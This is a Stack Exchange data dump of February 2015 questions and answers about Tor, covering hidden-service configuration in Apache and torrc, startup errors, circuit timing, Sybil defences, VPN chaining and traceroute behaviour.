  <row Id="6184" PostTypeId="2" ParentId="1480" CreationDate="2015-02-12T00:31:25.560" Score="8" Body="&lt;p&gt;The &lt;a href=&quot;https://tails.boum.org/support/faq/index.en.html&quot; rel=&quot;noreferrer&quot;&gt;Tails FAQ&lt;/a&gt; specifically answers &lt;a href=&quot;https://tails.boum.org/support/faq/index.en.html#index7h2&quot; rel=&quot;noreferrer&quot;&gt;this question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;Can I install Tails permanently onto my hard disk?&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;This is not possible using the recommended installation methods. Tails&#xA;  is designed to be a live system running from a removable media: DVD,&#xA;  USB stick or SD card.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is a conscious decision as this mode of operation is better for&#xA;  what we want to provide to Tails users: amnesia, the fact that Tails&#xA;  leaves no traces on the computer after a session is closed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="71" LastActivityDate="2015-02-12T00:31:25.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6186" PostTypeId="2" ParentId="6183" CreationDate="2015-02-12T07:50:48.213" Score="3" Body="&lt;p&gt;Apache doesn't run through Tor. It is a service that listens on the ip address(es) and port(s) you specify in its config file. If you want to configure Apache to host only hidden services, then you limit your listening IP address to 127.0.0.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Listen 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, in the VirtualHost block, you put the onion address in the &lt;code&gt;ServerName&lt;/code&gt;. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerName ctygdx55hgoleuht.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you assign to &lt;code&gt;DocumentRoot&lt;/code&gt; the public html folder of your onion site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to configure your hidden service(s) in your &lt;code&gt;torrc&lt;/code&gt; file, and specify &lt;code&gt;127.0.0.1&lt;/code&gt;, not the server real IP, in &lt;code&gt;HiddenServicePort&lt;/code&gt; there. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /path/to/hidden/service/private/key/dir&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; for more information about this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another important step is to minimize/stop your Apache leakage of webserver info that makes it identifiable. Edit &lt;em&gt;/etc/apache2/conf.d/security&lt;/em&gt; by adding/modifying two parameters like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerTokens Prod&#xA;ServerSignature Off&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="88" LastEditDate="2016-01-04T20:45:04.743" LastActivityDate="2016-01-04T20:45:04.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6187" PostTypeId="1" CreationDate="2015-02-12T08:23:57.923" Score="2" ViewCount="15" Body="&lt;p&gt;Are there security issues with running the hidden service and non-exit relay on the same Tor instance?&lt;/p&gt;&#xA;" OwnerUserId="6711" LastActivityDate="2015-02-12T08:23:57.923" Title="Hidden services and relay on the same machine" Tags="|onion-services|security|" AnswerCount="0" CommentCount="0" ClosedDate="2015-02-12T09:09:08.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="6188" PostTypeId="1" CreationDate="2015-02-07T05:54:36.500" Score="2" ViewCount="14678" Body="&lt;p&gt;Tor had been working fine for a while, but I modified the torrc file and tried to restart and now it will not start again. I removed the edit but now it still will not start. Terminal Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@EU1 ~]# /etc/init.d/tor status&#xA;tor is not running&#xA;[root@EU1 ~]# /etc/init.d/tor start&#xA;Raising maximum number of filedescriptors (ulimit -n) to 16384.&#xA;Starting tor:                                              [  OK  ]&#xA;[root@EU1 ~]# /etc/init.d/tor status&#xA;tor is not running&#xA;[root@EU1 ~]#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other Terminal Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@EU1 ~]# tor --service start&#xA;Feb 07 08:52:50.002 [notice] Tor v0.2.5.10 (git-42b42605f8d8eac2) running on Linux with Libevent 1.4.13-stable, OpenSSL 1.0.1e-fips and Zlib 1.2.3.&#xA;Feb 07 08:52:50.002 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Feb 07 08:52:50.002 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Feb 07 08:52:50.004 [warn] Failed to parse/validate config: Unknown option 'service'.  Failing.&#xA;Feb 07 08:52:50.004 [err] Reading config failed--see warnings above.&#xA;[root@EU1 ~]#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Contents of my torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /home/tor/www/.config/1&#xA;HiddenServicePort 80 127.0.0.1:3036&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this could be?&lt;/p&gt;&#xA;" OwnerUserId="21073" OwnerDisplayName="CarlosAllende" LastEditorUserId="88" LastEditDate="2015-02-12T15:46:54.593" LastActivityDate="2018-10-24T19:07:18.657" Title="Tor not starting" Tags="|configuration|error|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6189" PostTypeId="2" ParentId="6188" CreationDate="2015-02-07T06:13:16.707" Score="4" Body="&lt;p&gt;You're starting it wrong. You perhaps want &lt;code&gt;service tor start&lt;/code&gt;, depending on your OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're doing here is running Tor, as root, with commandline arguments of &lt;code&gt;--service start&lt;/code&gt;. Tor has never heard of the &lt;code&gt;--service&lt;/code&gt; option, so it says so and closes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(That said, my guess is that your underlying problem is that your Tor daemon doesn't have permission to write to &lt;code&gt;/home/tor/&lt;/code&gt;. Your Tor logs should say something like this, but Tor might be exiting before it gets around to writing out that log line.)&lt;/p&gt;&#xA;" OwnerUserId="55" OwnerDisplayName="Roger Dingledine" LastEditorUserId="88" LastEditDate="2015-02-12T15:52:23.567" LastActivityDate="2015-02-12T15:52:23.567" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6190" PostTypeId="1" CreationDate="2015-02-12T15:02:15.670" Score="1" ViewCount="1668" Body="&lt;p&gt;Tor is changing my node every 10 minutes. With Google I have come across a 'torrc' file that seems to have custom Tor commands, but I'm not sure how to change it so that my node were to change say every 30 minutes, or every 3 hours, or every day, or never.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this possible? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6714" LastActivityDate="2015-02-13T05:53:03.173" Title="Changing Timer on Tor Node Change" Tags="|configuration|exit-relays|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6191" PostTypeId="2" ParentId="6177" CreationDate="2015-02-12T18:17:33.693" Score="1" Body="&lt;p&gt;Both Linostar and user1552 have mentioned practical ways to help you to achieve what you are looking for. However, there is at least one addtional way that your location maybe computed. That method is called triangulation. &lt;a href=&quot;https://en.wikipedia.org/wiki/Triangulation&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Triangulation&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What basically triangulation refer to in the sense of figuring out your location while you are using or carrying a cellphone is the point that your cell phone send/receive signal to/from the several BTS(base transceiver station), The magnitude and strenght of these signals indicate the distance to each BTS. By measuring the signal level from your cellphone to at least three of these BTSes, one can compute your location using triangulation method. This maybe possible to do even if your cellphone is off. The only ways to disable your cellphone so that it does not report your location is either to leave it at home and powered on, or take it with you but take the batteries out of the cellphone. From these two methods, leaving the cellphone at home and powered on, is preferable. In this method nobody get suspicious why your cellphone is off. For more information regarding A base transceiver station (BTS) look at this link: &lt;a href=&quot;https://en.wikipedia.org/wiki/Base_transceiver_station&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Base_transceiver_station&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-13T08:34:04.883" LastActivityDate="2015-02-13T08:34:04.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6192" PostTypeId="1" AcceptedAnswerId="6194" CreationDate="2015-02-12T20:23:12.133" Score="3" ViewCount="1277" Body="&lt;p&gt;Sybil attacks target the weaknesses in the reputation system. How does Tor deal with such attacks? Recently, the Lizard Squad tried to take control of the Tor network by creating a large number of nodes, but the attack failed. However, is Tor vulnerable to more sophisticated forms of Sybil attacks?&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-13T05:04:34.843" Title="How does Tor defend against Sybil attacks?" Tags="|security|attacks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6194" PostTypeId="2" ParentId="6192" CreationDate="2015-02-13T05:04:34.843" Score="4" Body="&lt;p&gt;Lizard Squad was a pretty noisy sybil. We have monitoring for events of that sort...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/doctor.git/tree/sybil_checker.py&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/doctor.git/tree/sybil_checker.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naturally that event has sparked interest in more sophisticated sybil detection...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2015-January/008156.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.torproject.org/pipermail/tor-dev/2015-January/008156.html&lt;/a&gt;&lt;br /&gt;&#xA;  &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2015-January/008095.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.torproject.org/pipermail/tor-dev/2015-January/008095.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested in helping we'd love to have you. This is an area that could certainly use more development attention.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-13T05:04:34.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6195" PostTypeId="1" CreationDate="2015-02-13T05:38:43.603" Score="2" ViewCount="90" Body="&lt;p&gt;Can anyone tell me how and where can I check to make sure Tor is secured, without leak? And Tor does not publish my identifiable login information in to the public. &lt;/p&gt;&#xA;" OwnerUserId="6721" LastEditorUserId="923" LastEditDate="2015-02-15T12:51:39.737" LastActivityDate="2015-02-15T12:51:39.737" Title="How do I know Tor does not publish my identifiable information in to the public?" Tags="|onion-services|anonymity|security|" AnswerCount="1" CommentCount="3" ClosedDate="2016-09-09T20:45:10.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="6196" PostTypeId="2" ParentId="6190" CreationDate="2015-02-13T05:53:03.173" Score="1" Body="&lt;p&gt;This, like most other things are documented in the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;manual&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;MaxCircuitDirtiness &lt;em&gt;NUM&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Feel free to reuse a circuit that was first used at most NUM seconds ago, but never attach a new stream to a circuit that is too old. For hidden services, this applies to the last time a circuit was used, not the first. (Default: 10 minutes)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is probably not that great of an idea, and &quot;TrackHostExits&quot; should probably be used instead, but see the warning in the &quot;TrackHostExits&quot; documentation (the same problem applies with modifying &quot;MaxCircuitDirtiness&quot; upwards).&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2015-02-13T05:53:03.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6197" PostTypeId="2" ParentId="6195" CreationDate="2015-02-13T07:43:33.903" Score="0" Body="&lt;p&gt;One generally does not login to Tor to use the Tor network. In addition the use of Tor network is free of charge. Thus, there is no money trail to the user. If you turst any particular VPN, Web proxy, etc. you may use them to connect to Tor network to increase your level of assurance. But some pieces of advise to the wise: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Any VPN, Web proxy, etc. you use to connect to Tor network should be free, such that there is no money trail to you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You should trust the web proxy, VPN, etc. to the point you entrust your anonymity to them. For example it should be your private VPN you have built for your own use.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You should make sure there is no malware on any of your systems.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may use Whonix or Tails and if you know how to combine them, do so.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not run the hidden service from your home or office.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not use a relay and hidden service on the same system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not do anything that if become public, ruin your reputation beyond repair, damage you financially beyond repair or cause the lose of your freedom for long period of time. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Happy Toring!&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-15T08:11:41.037" LastActivityDate="2015-02-15T08:11:41.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6198" PostTypeId="1" AcceptedAnswerId="6199" CreationDate="2015-02-13T10:52:20.147" Score="9" ViewCount="7950" Body="&lt;p&gt;I downloaded the latest Tor Expert Bundle &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot;&gt;here&lt;/a&gt; for Windows 7 and extracted the files and directory structure of the .zip to &lt;code&gt;G:\tor-0.2.5.10&lt;/code&gt;. In case it matters, my extracted Tor directory structure is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;G:\TOR-0.2.5.10&#xA;├───Data&#xA;│   │   cached-certs&#xA;│   │   cached-microdesc-consensus&#xA;│   │   cached-microdescs.new&#xA;│   │   lock&#xA;│   │   state&#xA;│   │&#xA;│   └───Tor&#xA;│           geoip&#xA;│           geoip6&#xA;│&#xA;└───Tor&#xA;        libeay32.dll&#xA;        libevent-2-0-5.dll&#xA;        libevent_core-2-0-5.dll&#xA;        libevent_extra-2-0-5.dll&#xA;        libgcc_s_sjlj-1.dll&#xA;        libssp-0.dll&#xA;        ssleay32.dll&#xA;        tor.exe&#xA;        torrc&#xA;        zlib1.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Afterwards, I open up an admin privileged &lt;code&gt;cmd&lt;/code&gt; into &lt;code&gt;G:\tor-0.2.5.10\Tor&lt;/code&gt;. But when I run &lt;code&gt;tor.exe&lt;/code&gt; nothing happens. I see the &lt;code&gt;tor.exe&lt;/code&gt; process in taskmgr but there is no console logging displayed -- it's almost like the &lt;code&gt;tor.exe&lt;/code&gt; process started itself as a background fork because right after I run it it brings me right back to the command prompt again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;tor.exe --version&lt;/code&gt; or &lt;code&gt;tor.exe --help&lt;/code&gt; also doesn't show anything. I did not have any of these problems with an older version of tor. Is this a new issue introduced with the latest version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; For completeness, here's also my &lt;code&gt;torrc&lt;/code&gt; file in case it's important:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory ../Data&#xA;#ControlPort 9151&#xA;SocksPort 9150&#xA;# UseBridges 1&#xA;# bridge 60.16.182.53:9001&#xA;# bridge 87.237.118.139:444&#xA;# bridge 60.63.97.221:443&#xA;# ExitNodes 172.10.0.0/16&#xA;GeoIPFile ../Data/Tor/geoip&#xA;GeoIPv6File ../Data/Tor/geoip6&#xA;MaxCircuitDirtiness 1800&#xA;ExitNodes {ca},{gb},{au},{us}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6478" LastEditorUserId="6478" LastEditDate="2015-02-13T11:03:13.320" LastActivityDate="2016-02-21T11:54:10.570" Title="Is the latest Tor-0.2.5.10 Expert Bundle broken?" Tags="|configuration|windows|help|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6199" PostTypeId="2" ParentId="6198" CreationDate="2015-02-13T11:19:44.740" Score="6" Body="&lt;p&gt;This is a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13819&quot;&gt;known bug&lt;/a&gt;, due to the lack of developers working on the Expert bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile, if you are looking for a workaround, you can use Tor binaries and files found in  the TorBrowserBundle. You will find &lt;code&gt;Tor/&lt;/code&gt; and &lt;code&gt;Data/&lt;/code&gt; directories under &lt;strong&gt;c:\&lt;em&gt;path-to-your-torbrowser-dir&lt;/em&gt;\TorBrowser\Browser&lt;/strong&gt;. The rest should be easy. And you will get a console output with this version.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-13T11:19:44.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6200" PostTypeId="1" CreationDate="2015-02-13T13:55:30.147" Score="3" ViewCount="293" Body="&lt;p&gt;I have these stats:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /var/lib/tor/stats/bridge-stats&#xA;bridge-stats-end 2015-02-13 04:17:28 (86400 s)&#xA;bridge-ips cn=8,es=8,us=8&#xA;bridge-ip-versions v4=8,v6=0&#xA;bridge-ip-transports &amp;lt;OR&amp;gt;=8,obfs4=8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I seems odd that the number 8 should be so consistently displayed. Have I really had 8 connections from each of China, Spain, and the US?  If so, why are there only 16 (8+8) shown on the transports line?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6723" LastEditorUserId="88" LastEditDate="2015-05-28T12:09:10.153" LastActivityDate="2015-06-27T12:25:39.663" Title="Can someone explain these bridge stats?" Tags="|bridge|pluggable-transports|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6202" PostTypeId="1" CreationDate="2015-02-13T15:50:00.420" Score="1" ViewCount="115" Body="&lt;p&gt;As torrents sites are bloacked at my college so I think I can use Tor to access them but I want to download some of them so is there a way to use Tor to download torrent? Or if Tor can give me trackers for that...I would like to ask one more thing rather than posting another question that is, is there any Tor software also not the browser but software which come for linux? Please help me as I am a newcomer.&lt;/p&gt;&#xA;" OwnerUserId="6724" LastEditorUserId="923" LastEditDate="2015-02-13T16:47:45.933" LastActivityDate="2015-02-13T16:47:45.933" Title="How or can I use Tor for downloading torrents?" Tags="|vpn|bittorrent|" AnswerCount="0" CommentCount="0" ClosedDate="2015-02-13T17:32:23.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="6203" PostTypeId="1" CreationDate="2015-02-13T20:06:36.443" Score="6" ViewCount="992" Body="&lt;p&gt;My college has installed a security system called Cyberoam. Now they have blocked many things including youtube, break, etc., as a counter measure, I tried to find a way to circumvent this security package/firewall. That is how I came to know about Tor. But even Tor is not working? Can somebody tell me how can I use Tor in a secure environment managed by cyberoam security package/firewall? Or if there is any other way to circumvent this package?&lt;/p&gt;&#xA;" OwnerUserId="6725" LastEditorUserId="923" LastEditDate="2015-02-14T05:26:47.563" LastActivityDate="2016-01-05T04:48:05.750" Title="Tor does not connect----The probable cause: The security system CYBEROAM" Tags="|tor-browser-bundle|anonymity|security|censorship|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6205" PostTypeId="1" CreationDate="2015-02-14T10:34:10.650" Score="4" ViewCount="951" Body="&lt;p&gt;I know of several services that block traffic from Tor exit nodes including, as of a couple of months ago, the &lt;a href=&quot;http://www.austlii.edu.au&quot; rel=&quot;nofollow&quot;&gt;Australian Legal Information Institute&lt;/a&gt;. It's a sad state of affairs given that there are people whose countries block their access to information about the law of other nations and who try to use Tor to circumvent censorship, now only to find themselves stymied by the host that they are trying to reach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am familiar with the development by Tor researchers of means of circumventing censorship and giving access to Tor guards. Is there any similar development relating to the exit nodes? For example, one could envisage a changing series of hosts (a kind of &quot;exit bridge&quot; similar to existing bridges) that &lt;em&gt;only&lt;/em&gt; accepted traffic from Tor exit nodes ... before passing the traffic on to intended sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I foolishly hopeful, or is the concept either (i) dead in the water for reasons that I can't envisage, or (ii) already developed? &lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2015-02-14T12:18:31.703" Title="Blocked Tor exit nodes" Tags="|exit-relays|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6206" PostTypeId="2" ParentId="6205" CreationDate="2015-02-14T12:13:04.247" Score="1" Body="&lt;p&gt;I am not aware of such a project to enable a bridge exit nodes, thus unlisted or unpublished exit nodes. Maybe one can request for such a feature. However, one can manually simulate such a feature to be utilized under current Tor structure. Therefore, one can add a VPN or Web proxy after the exit node, like the following schematic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client---Node 1 (Guard)---Node 2 (Middle Node)--- Node 3 (exit node)---VPN--- destination site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client---Node 1 (Guard)---Node 2 (Middle Node)--- Node 3 (exit node)---Web proxy--- destination site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will effectively simulate what you are looking for. To understand how to do this, look at this Q&amp;amp;A: &lt;a href=&quot;https://tor.stackexchange.com/questions/1232/me-tor-vpn-how&quot;&gt;Me -&amp;gt; Tor -&amp;gt; Vpn [How?]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!!! &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-14T12:18:31.703" LastActivityDate="2015-02-14T12:18:31.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6207" PostTypeId="1" CreationDate="2015-02-14T13:58:49.393" Score="3" ViewCount="2431" Body="&lt;p&gt;On Windows is it possible to have multiple instances? I tried to copy paste Tor browser folder and running Tor Browser from it but did not worked.&lt;/p&gt;&#xA;" OwnerUserId="6727" LastEditorUserId="923" LastEditDate="2015-02-14T15:41:45.053" LastActivityDate="2015-03-11T07:36:56.943" Title="Multiple Tor Browser instances without using VM/Sandboxies" Tags="|tor-browser-bundle|windows|" AnswerCount="2" CommentCount="4" ClosedDate="2015-03-11T08:07:53.550" ContentLicense="CC BY-SA 3.0" />
  <row Id="6208" PostTypeId="2" ParentId="1945" CreationDate="2015-02-14T20:42:25.290" Score="4" Body="&lt;p&gt;This is a matter of who are you trusting more? Your ISP or your VPN provider? Since you have a lot more choices with VPN providers than ISPs, it is logical to prefer the VPN provider over ISP. This is in a case where the schematic of your network looks something like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User---VPN---Node 1 (Guard)--- Node 2 (middle node)--- Node 3 (exit node)--- destination site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one addtional outcome to this setup. Tor will not be able to determine where you are connecting from, even for reserch purposes. This may or may not give you some additional piece of mind that your data can not be used even in an anonymous way for reserch purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second option is to use the following topology:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User---Node 1 (Guard)---Node 2 (middle node)---Node 3 (exit node)---VPN---destination site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case The exit node can not snoop on you, but instead VPN can snoop on you. Now the question is who do you trust more? The VPN or exit node. You need to make a judgement here for yourself. There is one additional advantage to this setup: You may access the web sites that block Tor exit node. There is also one downside to this setup: The VPN IP address is not changing every 10 minutes or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third option is to use the following topology:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User---VPN---Node 1 (Guard)--- Node 2 (middle node)---Node 3 (exit Node)---VPN---destination site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This look like a best of both worlds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you have replaced the ISP with the VPN provider of your choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you prevented Tor to figure out where you are connecting from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, The destination Web sites that block Tor exit node do not block you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forth,  Your data is completely encrypted all the way to the destination site and from destination site to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fifth, You have increased the the number of nodes from 3 to 5 node and eliminated any possible exit node snooping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there are some precautions you should take for this topology to work as intended.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Both your VPNs should be free of charge so that there is no money trail.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your VPNs should be located outside your jurisdiction, advesaries jurisdiction and outside the adversaries jurisdiction of influence.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tails with this setup will provide the best result because it is an amnesic system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do change the VPNs from time to time. for example every month or quarter.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you find VPN provides with Multi-hop routing, that much the better.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is still one downside to this setup. The destination sites will see a constant IP address (VPN IP address) until you change the VPN provider or if you are using multi-hop routing VPN provider.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-15T08:09:19.983" LastActivityDate="2015-02-15T08:09:19.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6209" PostTypeId="1" CreationDate="2015-02-14T21:51:48.807" Score="3" ViewCount="1584" Body="&lt;p&gt;Can one observe the IP address of his entry node with &quot;tracert&quot;? In fact, what type of information does &quot;tracert&quot; is able to observe on Tor network?&lt;/p&gt;&#xA;" OwnerDisplayName="user6548" LastEditorDisplayName="user6548" LastEditDate="2015-02-14T23:28:02.257" LastActivityDate="2020-08-21T03:52:23.800" Title="Using Tor, could I see the IP address of my entry node with &quot;tracert&quot;?" Tags="|tor-browser-bundle|guard|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6211" PostTypeId="2" ParentId="6209" CreationDate="2015-02-14T23:37:25.270" Score="3" Body="&lt;p&gt;Tor is only used for tunneling &lt;a href=&quot;http://en.wikipedia.org/wiki/Transmission_Control_Protocol&quot; rel=&quot;nofollow&quot;&gt;TCP&lt;/a&gt; packets. By default &lt;code&gt;traceroute&lt;/code&gt; sends &lt;a href=&quot;http://en.wikipedia.org/wiki/User_Datagram_Protocol&quot; rel=&quot;nofollow&quot;&gt;UDP&lt;/a&gt; or ICMP (&lt;a href=&quot;http://en.wikipedia.org/wiki/Internet_Control_Message_Protocol&quot; rel=&quot;nofollow&quot;&gt;Internet Control Message Protocol&lt;/a&gt;) packets, ergo it can't be routed through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, it's also possible to send &lt;code&gt;TCP&lt;/code&gt; &lt;code&gt;SYN&lt;/code&gt;'s to do essentially the same thing. If you used &lt;code&gt;traceroute&lt;/code&gt; to print a series of &lt;code&gt;SYN-ACK&lt;/code&gt;'s, you would see the path from the exit node to the final destination (as if you'd run the traceroute from the exit node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For clarification, &lt;code&gt;tracert&lt;/code&gt; is a Windows only utility; every other operating system calls it &lt;code&gt;traceroute&lt;/code&gt;. I have no idea if the Windows version behaves the same way as normal &lt;code&gt;traceroute&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all you want to do is find the IP address of your entry node, you can simply ask Tor for information about the current streams. There should be several questions on here about how to do that, or you can use a UI such as &lt;a href=&quot;https://www.torproject.org/projects/arm.html.en&quot; rel=&quot;nofollow&quot;&gt;Arm&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2015-02-15T23:24:30.810" LastActivityDate="2015-02-15T23:24:30.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
